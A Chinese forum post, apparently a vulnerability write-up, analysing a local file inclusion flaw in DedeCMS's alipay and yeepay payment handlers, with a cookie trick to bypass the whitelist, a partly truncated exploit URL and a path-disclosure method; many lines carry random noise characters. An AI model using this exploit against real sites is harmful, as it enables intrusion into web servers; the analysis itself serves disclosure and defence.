晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
7 h# _5 _1 Y- t/ G' ?
/ O3 r! X; C- R+ n出现漏洞的两个文件为:
/ m* \# ^8 s. _- Z9 Q( q" W KInclude/payment/alipay.php
1 t+ c8 x) s9 DInclude/payment/yeepay.php
! _. E! c; [9 U8 [漏洞均出现在respond方法里,估计这两个文件是临时工写的。1 r" {$ g U' e, S
0 t+ O' f! x- q9 Y3 U: u
Include/payment/alipay.php' d8 e. d7 A2 G- `* \! C3 D
: i+ h+ O6 G- m$ l& f
......4 c M- a2 m% X" S
function respond(): O/ D G/ ]& K- W+ b& X" u
{2 O7 C! q/ I, {, I ] X% [# E
if (!empty($_POST))( k+ T3 N" \5 m7 n0 o0 o
{
+ q+ @- z4 @( r: x4 L2 n foreach($_POST as $key => $data)
' P d% ]9 N9 E& Q3 C {
# f+ h- A' L/ i) }( J; L" [ $_GET[$key] = $data;4 D" f' ?: `$ i" y# r. C; t# f
}
4 w* E s1 M4 l' \ }
K8 z3 R! Z* B' D- Z* ] /* 引入配置文件 */" Y# S+ R# n* c+ h: Z
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php'; X( l" n$ \/ u/ E+ B
...... 3 r2 |+ {/ y2 m m1 }
% ~% X4 p& ]' c0 ^7 l$ A7 e
|) W) a2 V% O
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
" g1 {, u* I7 A3 Y& ~5 h! z! Z) T
Include/payment/yeepay.php! ]# [" j" c0 a5 v% l, ]
- O1 u- F# Q, c( X! R
7 C7 i# x. |0 G2 s; L# z* z
+ |$ @) W9 q- U8 M......
, d1 I2 `2 |! H% ]7 U! j function respond()4 O2 P. z* L- S$ a2 E5 v
{! C$ |) o/ v' ^1 |9 G/ r* t
& y% g7 z) [0 J8 z2 h" B% b
/* 引入配置文件 */
$ i2 j' h$ z6 X a, { require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
6 q5 n# a+ O+ C, E# E' k 0 ?8 u# e P: ?
$p1_MerId = trim($payment['yp_account']);7 f0 x. g6 {2 h% M. H" M
$merchantKey = trim($payment['yp_key']);
# S2 g- D; Z1 e9 i; v2 P; U......
4 m9 X4 n: _$ F3 k& y2 s" D2 V% t 5 c3 @5 Z( c- u6 O1 v* X& N' r! H
' F" x) |/ w9 G, b1 w5 A; R
8 E# J3 u$ g* E- F
1 @, ~# f% ]) y- a1 W. b大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。4 O4 r/ d' `9 e) h! X4 h9 \& p
7 R: N2 K) `0 s: p/ f& m这两个方法在plus/carbuyaction.php文件调用。+ _( v" H9 ^3 @9 ^! b" p b
/ B7 l! a% l' d' }. O$ B4 e
plus/carbuyaction.php# I8 v0 C# C9 B* \+ ~! j& F
& ?. l* l+ u% v! L" e/ c7 @, Y......3 [# ~ i) r, G
} else if ($dopost == 'return') {# ]' S, S4 L0 P6 F) Z
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
: N o% {# ^7 M! I0 f if (in_array($code, $write_list))
|$ i3 @& ]9 g; H! W j {
- S3 I0 n+ d5 ` require_once DEDEINC.'/payment/'.$code.'.php';: d9 c. |1 K' m0 X: v
$pay = new $code;
0 } G" z) S% f" d $msg=$pay->respond();" f; b7 n& p) x+ z4 `+ h2 |
ShowMsg($msg, "javascript:;", 0, 3000);( U+ }$ t) o5 h/ q# O
exit();
1 O, l, U7 y5 } } else {
: G7 A9 }7 W0 D9 M: m exit('Error:File Type Can\'t Recognized!');
3 I4 ?/ \( Y$ Z w5 _ }
; c0 Y1 ~# K) a1 C$ d6 V; y}
5 U, P" s) z: u......
/ ` T! }9 X- N
+ Z( @- W x2 z& o# X! S& g7 n0 l$ L: A& A0 ^1 k
- U6 Y, t" _, [) e& F6 r0 J6 @- S/ T" A- ]% V0 d0 Y% Y9 M3 g" K
! B+ H! s4 m$ \* S! |, d7 O* g9 O% K3 ~( D. }) V! w0 p( Z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。" u2 r- N6 g2 m8 \& E* O/ \
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。( ~( _# M& ?( `. w7 C: a
7 l$ V' d: ~# u! ~1 y1 A N
回到include/common.inc.php来看看他的机制。
* w" S9 c2 `3 O+ K/ s2 n0 |
5 \ X9 H8 c# a' J9 w
" k; |8 n7 w! |8 R0 _0 O
$ V9 o; A, I' a9 }4 n......
& O$ a$ m* D: b; J( @$ Pforeach(Array('_GET','_POST','_COOKIE') as $_request)4 H3 Y: I) i; z0 Q
{: h$ k7 g' F$ \
foreach($$_request as $_k => $_v)
8 I0 B/ P' E/ Z( r3 v3 W% M {
& ?+ J3 c1 u+ J* j) m+ S4 d if($_k == 'nvarname') ${$_k} = $_v; W Y, _9 g' O& `
else ${$_k} = _RunMagicQuotes($_v);$ b- t6 B; H8 k+ ~( w$ E* {
}
3 l3 o/ p& R! P) C. D, V; U}, J2 p4 j' ~8 L2 H$ q+ {1 L
...... . a5 [9 M5 n3 o+ e
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. T, @- b% A& V; G7 n& b. W w p0 L
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |